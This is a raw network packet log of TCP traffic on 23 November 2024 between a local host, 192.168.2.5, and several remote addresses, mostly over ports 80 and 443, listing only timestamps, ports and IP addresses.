Nov 23, 2024 01:14:28.289943933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.289994955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.290728092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.290762901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.290781021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.290879011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.291625977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.291677952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.291743040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.291796923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.292634964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.292669058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.292687893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.292784929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.293570995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.293800116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.293869972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.294523001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.295108080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.295181036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.295553923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.295589924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.295645952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.296080112 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.296474934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.296504021 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.296524048 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.296597958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.297485113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.297519922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.297538996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.297581911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.297657967 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.298060894 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.298237085 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.309597015 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.309606075 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.342433929 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.353144884 CET	443	49819	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.353430986 CET	49819	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.353444099 CET	443	49819	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.354547024 CET	443	49819	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.354868889 CET	49819	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.355042934 CET	443	49819	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.357863903 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.385158062 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.385317087 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.385457993 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.385492086 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.385507107 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.385518074 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.385524035 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.388566017 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.388605118 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.388683081 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.388824940 CET	49824	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.388835907 CET	443	49824	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.389630079 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.389715910 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.389945030 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.390081882 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.390081882 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.390120029 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.390144110 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.391331911 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.391397953 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.391701937 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.391962051 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.391990900 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.392008066 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.392014980 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.393116951 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.393131018 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.393229008 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.393481970 CET	49825	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.393495083 CET	443	49825	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.393847942 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.393862009 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.393992901 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.394110918 CET	49826	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.394125938 CET	443	49826	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.396466970 CET	443	49820	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.396703959 CET	49820	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.396714926 CET	443	49820	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.397032976 CET	443	49820	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.397320986 CET	49820	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.397381067 CET	443	49820	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:28.404285908 CET	49819	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.444652081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.444760084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.444858074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.444916010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.445384026 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.445506096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.445530891 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.445538998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.445601940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.445774078 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.445827007 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.445833921 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.445843935 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.445848942 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.446077108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.446295977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.446476936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.447038889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.447104931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.447179079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.447226048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.448033094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.448112965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.448328972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.448393106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.448659897 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.448667049 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.448942900 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.448954105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.449103117 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.449110985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.449112892 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.449124098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.449168921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.449769974 CET	49820	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:28.449943066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.449990988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.450022936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.450072050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.450932026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.450987101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.451284885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.451888084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.451944113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.451947927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.452274084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.452858925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.453321934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.453380108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.453834057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.453886986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.454273939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.454823971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.454878092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.455362082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.455427885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.455754042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.455910921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.456259012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.456418037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.456729889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.456784010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.456964016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.457006931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.457715034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.457771063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.457864046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.457906008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.458686113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.458741903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.459180117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.459232092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.459712982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.459729910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.459760904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.459777117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.460614920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.461057901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.461116076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.461577892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.461704016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.461801052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.461846113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.462543011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.462688923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.462748051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.463524103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.463665009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.463680983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.463753939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.464476109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.464571953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.464958906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.465008020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.465454102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.465622902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.465783119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.465887070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.466412067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.466805935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.466830015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.466948032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.467403889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.467437983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.467453003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.467523098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.468353033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.468404055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.468863964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.468911886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.469329119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.469515085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.469597101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.469639063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.470303059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.470354080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.470390081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.470431089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.471285105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.471327066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.471545935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.471591949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.472290993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.472338915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.472873926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.472922087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.473191977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.473217964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.473236084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.473279953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.474167109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.474214077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.474245071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.474298954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.475126028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.475202084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.475584030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.475632906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.476110935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.476152897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.476485968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.476608992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.477083921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.477132082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.477807045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.477854967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.478034973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.478061914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.478106022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.479021072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.479065895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.479466915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.479749918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.480041027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.480109930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.480159044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.480338097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.480977058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.481189013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.481302977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.481915951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.482327938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.482378960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.482914925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.483033895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.483059883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.483086109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.483855963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.483947992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.483999968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.484822035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.484873056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.485199928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.485269070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.485780001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.485831022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.486097097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.486341953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.486771107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.486819983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.486891031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.486979008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.487741947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.487757921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.487808943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.488712072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.488738060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.488770008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.488784075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.489675999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.489733934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.489803076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.490645885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.490710974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.490864038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.490972996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.491591930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.491641045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.491683960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.491724014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.492567062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.492628098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.492646933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.492697001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.493616104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.493670940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.493706942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.493743896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.494514942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.494564056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.494954109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.495017052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.495449066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.496424913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.511548042 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:28.511557102 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:28.511738062 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:28.512098074 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:28.512106895 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:28.645782948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.645919085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.646073103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.646086931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.646102905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.646140099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.646157980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.647062063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.647211075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.647356987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.647502899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.647980928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.648031950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.648149967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.648425102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.648952007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.649019957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.649300098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.649353981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.649918079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.649979115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.650409937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.650463104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.650881052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.650940895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.651057005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.651112080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.651846886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.651912928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.651942968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.651984930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.652823925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.652884960 CET	49760	80	192.168.2.5	185.215.113.206
